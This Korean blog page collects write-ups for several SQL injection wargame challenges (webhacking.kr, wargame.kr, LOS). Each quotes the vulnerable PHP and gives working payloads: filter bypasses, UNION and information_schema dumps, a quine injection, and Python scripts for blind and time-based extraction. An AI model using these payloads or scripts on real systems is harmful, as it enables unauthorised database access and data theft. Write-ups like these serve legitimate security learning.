반응형
반응형
반응형

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'= addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'== "admin") solve(61);
  echo "</body></html>";
?>
cs

 

GET으로 id값을 받는다.

 

addslashes 함수는 특수문자에 \를 붙이는 역할을 한다.

이어서 필터링를 통과하고 길이가 15보다 크지 않다면,

 

select {$_GET['id']} from chall61 order by id desc limit 1

 

을 실행한다.

 

 

id 내림차순으로 1개만을 반환한다.

 

이 문제는 aliases를 이용하면 된다.

 

"칼럼명" "별칭"

 

payload = 0x61646d696e%20id

 

 

반응형
반응형

 

sqli문제인 것으로 보인다. 소스코드를 확인하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest"echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

no값을 입력받아 필터링 과정을 거친다. 설정된 문자열이 포함된 경우 exit()가 호출된다.

 

select id from chall27 where id='guest' and no=({$_GET['no']})

위 sql 구문을 실행하여 id값이 admin인 데이터가 반환되면 문제가 해결된다.

 

admin의 no값이 2라고 주어졌으며, 이 것을 보고 guest의 no값은 0이나 1일 수 있다.

 

guest의 no값은 1이다.

 

id가 admin인 데이터를 뽑아내기 위해서 우리는 sql구문을 아래와 같이 만들어야 한다.

 

select id from chall27 where id='guest' and no=(0)or id = "admin"#)

 

그러나 =, #, 공백 이 필터링되므로 이 문자들을 우회해야 한다.

 

=는 like로 #은 ;%00 으로 우회가 가능하다.

 

공백을 우회하는 방법은 여러가지가 있는데, %0a로 우회하였다.

 

payload = 0)or%0aid%0alike%0a"admin";%00

 

 

 

반응형
반응형

dmbs335

SQL injection Challenge!
(injection)

- thx to dmbs335

 

 

 

표가 하나 있고, 하단에 검색 도구가 존재한다.

 

Num subject content writer
3 welcome to wargame.kr =D guest
2 nice challenge! dummy data bughela
1 hello world! This is Content1 dmbs335
 

 

 

소스를 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php 
function getOperator(&$operator) { 
    switch($operator) { 
        case 'and'
        case '&&'
            $operator = 'and'
            break
        case 'or'
        case '||'
            $operator = 'or'
            break
        default
            $operator = 'or'
            break
}} 
 
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}
 
parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''
 
if(!isset($search_cols)) { 
    $search_cols = 'subject|content'
 
$cols = explode('|',$search_cols); 
 
foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"
    } 
 
    if($query_parts) { 
        $where_clause .= $query_parts
        $where_clause .= ' '
        $where_clause .= $operator
        $where_clause .= ' '
        $query_parts = ''
    } 
 
if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause- (strlen($operator+ 2);
    $where_clause = substr($where_clause0$len); 
 
 
?>
 
  
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
 
cs

 

핵심만 가져왔다.

 

 

검색을 하게 되면 ?search_cols=subject&keyword=1234&operator=or  이렇게 get 방식으로 값을 전달한다.

 

 

operator의 경우, 22행에 의해 and나 or로만 설정이 된다.

 

search_cols도 33행 필터링에 의해 subject|content|writer 밖에 못 들어간다.

 

 

 

인젝션을 할 만한 곳을 찾아야 한다.

초기화를 하지 않는 변수가 있다.

 

query_parts 인데, parse_str함수를 사용하였기 때문에 query_parts에 내가 원하는 값을 넣어버릴 수가 있다.

 

search_cols에 subject|content|writer 를 제외한 다른 값 (ex: a)를 넣고

operator에는 or 넣어주고

query_parts에 1 union select 1,2,3,4#을 넣는다고 하면,

 

34~36행을 실행되지 않게 되며, 최종 쿼리가 아래와 같이 된다.

 

select * from board where 1 union select 1,2,3,4# or   order by idx desc

 

인젝션 성공!

 

 

테이블명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%23

 

Th1s_1s_Flag_tbl

 

 

 

 

칼럼명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,column_name,3,4%20from%20information_schema.columns%23

 

f1ag

 

 

 

 

 

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,f1ag,3,4%20from%20Th1s_1s_Flag_tbl%23

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DLL with notepad] 풀이  (0) 2020.01.08
Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
반응형

lonely guys

 

Blind SQLi challenge.

Can you SQLi with 'order by' in expression?

 

 

 

핵심 부분의 코드만 확인해보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
 
mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
$sort = mysql_real_escape_string($sort);
$result=mysql_query("select * from guys_tbl order by reg_date $sort");
while($row=mysql_fetch_array($result)){
 echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
}
?>
 
cs

 

 

POST로 sort값을 받아서 

 

SELECT * FROM guys_tbl ORDER BY reg_date $sort

 

위 쿼리문을 실행한다.

 

 

 

 

 

 

order by 뒤 칼럼명에 서브 쿼리를 넣을 수 있다.

 

order by 칼럼명, 칼럼명, (서브쿼리), ....

 

 

if를 이용해서 time based sql injection을 시도했다.

 

 

flag는 authkey 테이블의 authkey 칼럼에 존재한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib
import urllib2
import sys
import time
 
key = ""
 
def chk(payload):
    url = "http://wargame.kr:8080/lonely_guys/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"sort": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    print data
    return data
 
payload = ",if(0<(select length(authkey) from authkey),sleep(1),1)"
chk(payload)
cs

 

참이면 sleep(1), 거짓이면 1을 리턴한다.

 

 

 

,if(40=(select length(authkey) from authkey),sleep(1),1)

authkey의 길이는 40임을 알 수 있다.

 

 

 

 

 

 

이제 한 글자씩 뽑아내면 된다.

 

,if(48=ord((select substr(authkey,1,1) from authkey)),sleep(1),1)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyz"
 
 
key = ""
 
 
def chk(payload):
    url = "http://wargame.kr:8080/lonely_guys/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"sort": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    #print data
    return data
 
 
for i in range(40):
    for j in range(len(string)):
        payload = ",if("+str(ord(string[j]))+"=ord((select substr(authkey,"+str(i+1)+",1) from authkey)),sleep(1),1)"
 
        start = time.time()
 
        chk(payload)
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

반응형
반응형

ip log table

 

Blind SQLi challenge.

You can use 'Ascii' to 'Date'

.
 
 

페이지 소스

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<style>
 #mv_admin {cursor:hand; font-family:verdana; padding:10px; font-weight:bold;}
 td{text-align:center; height:30px;}
 .menu {background-color:#163; color:#fab;}
 .menu td{font-weight:bold;}
 .list td{text-align:center; cursor:hand;}
</style>
<script src="./jquery.min.js"></script>
<script> var f;
 function ov(){ this.style.color="#11f"; this.style.background="#ff0"; this.style.fontWeight="bold";}
 function ou(){ this.style.color="#000"; this.style.background="#fff"; this.style.fontWeight="normal";}
 function mv(){ f.idx.value=this.id; f.submit(); }
 function init(){
  a=document.getElementById("mv_admin");
  a.onmouseover=ov; a.onmouseout=ou; a.onclick=function(){window.location='admin.php';}
  f=document.getElementById("f"); iplist=$(".list");
  for(i=0;i<iplist.length;i++){
   iplist[i].onmouseover=ov; iplist[i].onmouseout=ou; iplist[i].onclick=mv;
  }
 }
</script>
<body onload="init();">
<center>
<h1>ACCESS IP LOG TABLE</h1>
<hr /><div id="mv_admin">[+] admin login [+]</div><hr />
<table border=1 width=550 align=center>
<tr class='menu'><td>idx</td><td>IP address</td></tr>
.
.
.
.
</table>
</center>
<form id="f" method="post" action="chk.php">
<input type="hidden" name="idx" value="blueh4g">
</form>
</body>
cs

 

소스를 보면, 행을 클릭했을 때 chk.php에 해당 id값을 post로 보내서 값을 받는다.

 

 

 

 

 

 

스크립트를 짜서 확인해보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib
import urllib2
import re
 
url = "http://wargame.kr:8080/ip_log_table/chk.php"
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
data = {"idx":"39749 and 1=0#"}
data = urllib.urlencode(data)
request = urllib2.Request(url, data)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
 
data = opener.open(request)
data = data.read()
 
print data
 
cs

 

39748 and 1=1    => TRUE => IP log time : 2020-01-01 17:43:20

39748 and 1=0    => FLASE => IP log time : 1970-01-01 09:00:00

 

 

이 것을 이용해서 blind sqli를 하면 된다.

 

 

 

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import urllib
import urllib2
import sys
import time
 
key = ""
 
def chk(payload):
    url = "http://wargame.kr:8080/ip_log_table/chk.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"idx": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    print data
    return data
 
 
'''
for i in range(70,100):
    payload = "39749 and (select count(*) from information_schema.tables)="+str(i)
    if not "1970-01-01 09:00:00" in chk(payload):
        key += str(i)
        print "[*] " +key
        break
    else:
        print "[-] Fail!"
    time.sleep(0.1)
'''
#result : 72
 
 
 
'''
for i in range(15):
    for j in range(33,127):
        payload = "39749 and ord(substring((select table_name from information_schema.tables limit 71,1),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : ip_table
 
 
 
 
'''
for i in range(15):
    for j in range(33,127):
        payload = "39749 and ord(substring((select table_name from information_schema.tables limit 70,1),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : admin_table
 
 
 
 
 
'''
for i in range(5):
    for j in range(33,127):
        payload = "39749 and ord(substring((select id from admin_table),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : blue_admin
 
 
 
 
'''
for i in range(5):
    for j in range(33,127):
        payload = "39749 and ord(substring((select ps from admin_table),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : 0h~myp4ss!
 
cs

 

칼럼개수가 너무 많아서 칼럼명을 찾기가 힘들다.

 

로그인 페이지에 있는 id와 ps를 그대로 칼럼명으로 썼더니 됐다.

 

 

 

 

얻은 id와 pw로 로그인을 하면 된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
반응형

SimpleBoard

 

Simple Union SQL injection Challenge.
(but you need script... maybe?)

 

 

첫 페이지에 글 리스트가 있고

 

글을 클릭해서 내용을 확인할 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }
 
    Class DB {
        private $connector;
 
        function __construct(){
            $this->connector = mysql_connect("localhost""SimpleBoard""SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }
 
        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }
 
        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }
 
        public function just_query($query){
            return $this->real_query($query);
        }
 
        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }
 
    }
 
    Class Board {
        private $db;
        private $table;
 
        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }
 
        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }
 
        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }
 
        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600"/SimpleBoard/");
        }
 
        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }
 
    }
 
cs

 

 

read.php에서 sqli이 가능하다.

http://wargame.kr:8080/SimpleBoard/read.php?idx=1%20union%20select%201,2,3,4%23

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%201,2,3,4%23

다만, idx=5와 같이 존재하지 않는 내용은 70행의 UPDATE 구문에서 오류가 발생한다.

 

inc_hit()함수가 실행되지 않도록, 쿠키['view']에 /5 union select 1,2,3,4# 를 추가해주면 된다.

 

 

 

 

 

NUM TITLE HIT
1 2 3
4
LIST

 

그럼 이렇게 1,2,3,4가 출력된다. 이를 이용해서 테이블명과 칼럼명을 뽑아내보자

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%23

idx=5 union select table_name,2,3,4 from information_schema.tables#

 

NUM TITLE HIT
README 2 3
4
LIST

 

README가 튀어나왔다.

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20column_name,2,3,4%20from%20information_schema.columns%23

idx=5 union select column_name,2,3,4 from information_schema.columns#

 

NUM TITLE HIT
flag 2 3
4
LIST

 

flag가 튀어나왔다.

 

 

 

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20flag,2,3,4%20from%20README%23

GET FLAG!

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
반응형

web chatting

Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.

 

 

 

로그인을 해서 페이지소스를 보면, 채팅 내용 갱신을 위해 

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=54772

 

이렇게 chatview.php에 인자갑으로 t=1과 ni값을 보내주고 있다.

 

 

이 ni값에 50000 or 1과 같은 값을 입력했더니 모든 채팅내용을 확인할 수 있는 것으로 보아, sqli가 가능함을 알 수 있다.

 

그러나 앞으로 공격은 스크립트로 해야할 것 같다. 브라우저를 이용할 경우, 내용이 너무 많아 브라우저가 멈춰서 전체 내용을 확인할 수 없기 때문이다.

 

 

 

 

 

 

 

 

 

 

일단, union을 사용해서 sqli를 시도했다.

ni=54772 union select 1,2,3,4,5 --

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,2,3,4,5 --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

그 결과, 마지막행에 아래 내용이 출력되었다.

 

2 (5..*.) : 3

 

select 했던 2, 3, 5가 나온 것이다. 

 

 

 

 

 

 

 

 

이제 information_schema 테이블이 이용해서 테이블 이름과 칼럼 이름 리스트를 확인할 수 있다.

ni=54772 union select 1,table_name,3,4,5 from information_schema.tables --

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,table_name,3,4,5 from information_schema.tables --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

 

INNODB_SYS_FOREIGN (5..*.) : 3
INNODB_SYS_COLUMNS (5..*.) : 3
INNODB_FT_DEFAULT_STOPWORD (5..*.) : 3
INNODB_BUFFER_PAGE (5..*.) : 3
INNODB_CHANGED_PAGES (5..*.) : 3
chat_log (5..*.) : 3
chat_log_secret (5..*.) : 3

 

 

 

 

 

 

 

 

 

 

 

readme라고 하는 칼럼명을 확인 할 수 있다. 그러면, chat_log_secret 테이블에 readme라고 하는 칼럼이 있다는 것을 예측할 수 있다.

 

 

 

 

 

 

 

한번 확인해 보면,

마지막 줄에 플래그값이 출력된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
반응형

alien

 

 

쿼리가 2개다.

 

query : select id from prob_alien where no=


 


query2 : select id from prob_alien where no=''

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i'$_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'!== "admin"exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'=== "admin"exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin"exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>
cs

 

음?

 

query와 query2의 차이는 no= 다음에 ''가 있냐 없냐의 차이

 

query를 실행해서 나온 id가 admin이 아니면 죽고, admin이어도 죽는다.

query2를 실행해서 나온 id가 admin이면 죽고, admin이면 문제가 풀린다.

 

 

.................................? 뭘까?

 

50%확률로 admin을 return하면 되는 것일까..

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

query와 query2를 모두 동일한 명령으로 만드는 법:

 

 

?no=1 union select 1#' union select '1

 

 

query : select id from prob_alien where no=1 union select 1#' union select '1

query2 : select id from prob_alien where no='1 union select 1#' union select '1'

 

query에서는 #앞에가 실행되고, 뒤는 주석처리

query2에서는 #이 ''안의 문자열로 취급, 뒤 실행

 

 

 

 

?no=1%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20

현재 시간에 따라 0이 될 수도 있고 1이 될 수도 있고 이를 이용

시간으로 admin을 내보낼지 bdmin을 내보낼지를 정함.

sleep(1)을 사용하여 처음에 admin이 되면 다음은 무조건 bdmin이 되도록.

 

 

 

ALIEN Clear!

 

 

문제들이 너무 어렵다. 풀이 참고하면서 이런 기법들도 있구나 하고 알아가는 정도로 넘어가야 겠다..ㅠㅠ

처음 내가 생각했던 방향과 얼마나 일치하는지도 보고,,,

반응형
반응형

zombie

 

 

음 이전 문제랑 뭐가 달라졌을까..

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i'$_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'=== $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>
cs

 

 

필터링 부분을 보면 ace를 필터링한다. 이는 replace을 필터링 하겠다는 것이다.

그래서 이전 문제에서 사용했던 페이로드를 사용할 수 없다..

 

+ 여전히 테이블은 텅텅 비어있다.

 

 

 

information_schema DB에 processlist 라는 테이블이 존재하는데, 해당 테이블의 INFO 칼럼에 이전에 실행했던 쿼리문이 저장되어있다고 한다.

 

 

 

' union select substr(info, 38, 72) from information_schema.processlist%23

 

 

ZOMBIE Clear!

 

 

 

반응형
반응형

ouroboros

 

우로보로스

 

 

 

와 소스코드가 짧아졌다!

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i'$_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'=== $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>
cs

 

 

query : select pw from prob_ouroboros where pw='1' or pw like '%'

query : select pw from prob_ouroboros where pw='1' or 1=1#'

 

흠.. 테이블에 아무것도 없는 것 같다.

 

테이블에 직접 데이터를 넣어줘야 할 것 같다. (개꿀문제가 아니었어 ㅠㅠ)

 

 

 

 

 

 

예전에도 테이블이 텅텅빈 문제가 있었던 것 같은데.. 찾아봐야 겠다.

 

https://mandu-mandu.tistory.com/333

 

LORD OF SQL INJECTION [green_dragon] 풀이

green_dragon 녹색 용용이 소스를 보자. 쿼리를 두 번 실행한다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

mandu-mandu.tistory.com

 

uinon을 사용하자!

 

 

 

query : select pw from prob_ouroboros where pw='1' union select 1#'


 

Pw : 1

 

 

 if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");

근데 1' union slect 1%23 과 1을 어떻게 같게 하지..

 

 

 

 

 

Quine 이라는 것이 있다!

 

Quine Sql Injection

https://blog.rwx.kr/quine-sql-injection/

 

Quine SQL Injection - White Security

Quine SQL 이란 Quine 은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미하는데위의 파이썬 소스코드를 참고하면 어떤 의미인지 쉽게 이해할 수 있을 것이다.이는 대부분의 언어로 작성되어 위키백과에 등재되어 있다. Quine SQL Query 마찬가지로 SQL 언어를 사용해 작성한 Quine 쿼리도 존재하는데, 위가 그 예이다. 여기서 필요없는 부분을 잘라내면 위와 같다. 이런 특성을 이용하여 SQL 인젝션에 응용할 수 있는데사용자 입력과 쿼리

blog.rwx.kr

 

 

?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23

 

 

 

OUROBOROS Clear!

 

 

 

https://www.shysecurity.com/post/20140705-SQLi-Quine

코게 문제에도 나왔었다고 한다.

 

반응형

+ Recent posts